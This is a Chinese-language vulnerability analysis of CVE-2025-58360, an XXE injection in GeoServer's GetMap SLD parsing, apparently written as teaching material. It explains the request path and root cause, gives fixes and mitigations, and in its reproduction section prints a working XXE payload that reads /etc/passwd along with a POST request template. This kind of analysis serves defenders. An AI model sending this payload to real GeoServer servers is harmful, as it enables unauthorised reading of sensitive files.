GeoServer GetMap XXE注入漏洞分析(CVE-2025-58360)
字数 1236 2025-12-03 12:06:13
GeoServer GetMap XXE注入漏洞分析(CVE-2025-58360)教学文档
1. 漏洞概述
1.1 基本信息
- 漏洞编号:CVE-2025-58360
- 漏洞类型:XXE(XML External Entity)注入
- 影响组件:GeoServer GetMap功能
- 风险等级:高危(可导致任意文件读取)
1.2 受影响产品
GeoServer - 开源地理数据服务器,用于共享、编辑和发布地理空间数据,支持多种标准地图服务协议。
2. 技术背景
2.1 GeoServer架构特点
- 采用模块化研发架构
- 基于Spring框架实现请求处理
- 支持WMS/WFS/WCS等OWS(OGC Web Services)协议
2.2 关键处理流程
Client HTTP Request
↓
Spring Framework: HandlerMapping
↓
GeoServer: OWSHandlerMapping(wmsURLMapping bean)
↓
URL匹配 → 返回Controller Bean名称(如"dispatcher")
↓
Spring找到Controller → 调用HandlerAdapter
↓
GeoServer: Dispatcher(执行WMS/WFS/WCS等OWS请求)
2.3 URL映射关系
| URL路径 | Spring返回的Controller Bean名称 |
|---|---|
| /kml/icon/** | kmlIconService |
| /wms | dispatcher |
| /wms/* | dispatcher |
3. 漏洞详细分析
3.1 漏洞触发路径
Dispatcher → SLDXmlRequestReader → Styles.handler().parse()
→ SLDStyleHandler.parse() → SLDParser → XML Parser(未禁用外部实体)
3.2 关键代码组件
SLDXmlRequestReader Bean配置:
<bean id="sldXmlReader"
class="org.geoserver.sld.SLDXmlRequestReader">
<constructor-arg ref="wms"/>
</bean>
3.3 漏洞触发条件
- 请求路径:/wms 或 /wms/*
- Content-Type:必须设置为
application/xml - XML内容:包含恶意外部实体声明
3.4 根本原因
GeoTools的SLD XML解析器在解析样式描述语言(SLD)时,未正确配置XML解析器禁用外部实体引用,导致XXE漏洞。
4. 漏洞复现
4.1 环境准备
- 受影响的GeoServer版本
- 网络访问权限
- 基本的HTTP请求工具
4.2 攻击向量构造
恶意XML示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<GetMap>
<StyledLayerDescriptor>
<NamedLayer>
<Name>test</Name>
<UserStyle>
<Name>test</Name>
<FeatureTypeStyle>
<Rule>
<Title>&xxe;</Title>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>
</GetMap>
4.3 请求示例
POST /geoserver/wms HTTP/1.1
Host: target-server.com
Content-Type: application/xml
Content-Length: 1234
[恶意XML内容]
5. 修复方案
5.1 安全配置建议
- 禁用外部实体:在XML解析器中设置
XMLConstants.FEATURE_SECURE_PROCESSING为true - 禁用DTD:配置解析器不加载外部DTD
- 输入验证:对传入的XML内容进行严格验证
5.2 代码修复要点
- 在SLDParser初始化时显式禁用外部实体扩展
- 实现安全的XML解析器配置
- 添加内容安全策略
6. 防护措施
6.1 临时缓解方案
- 在网络层面过滤包含
<!DOCTYPE和<!ENTITY的请求 - 限制GeoServer对敏感文件的访问权限
- 升级到已修复的安全版本
6.2 长期安全加固
- 定期更新GeoServer到最新安全版本
- 实施最小权限原则
- 建立安全代码审查流程
7. 总结
该漏洞源于GeoServer在处理SLD样式描述时的XML解析配置缺陷,攻击者可通过精心构造的XML请求读取服务器敏感文件。修复重点在于正确配置XML解析器的安全属性,彻底禁用外部实体解析功能。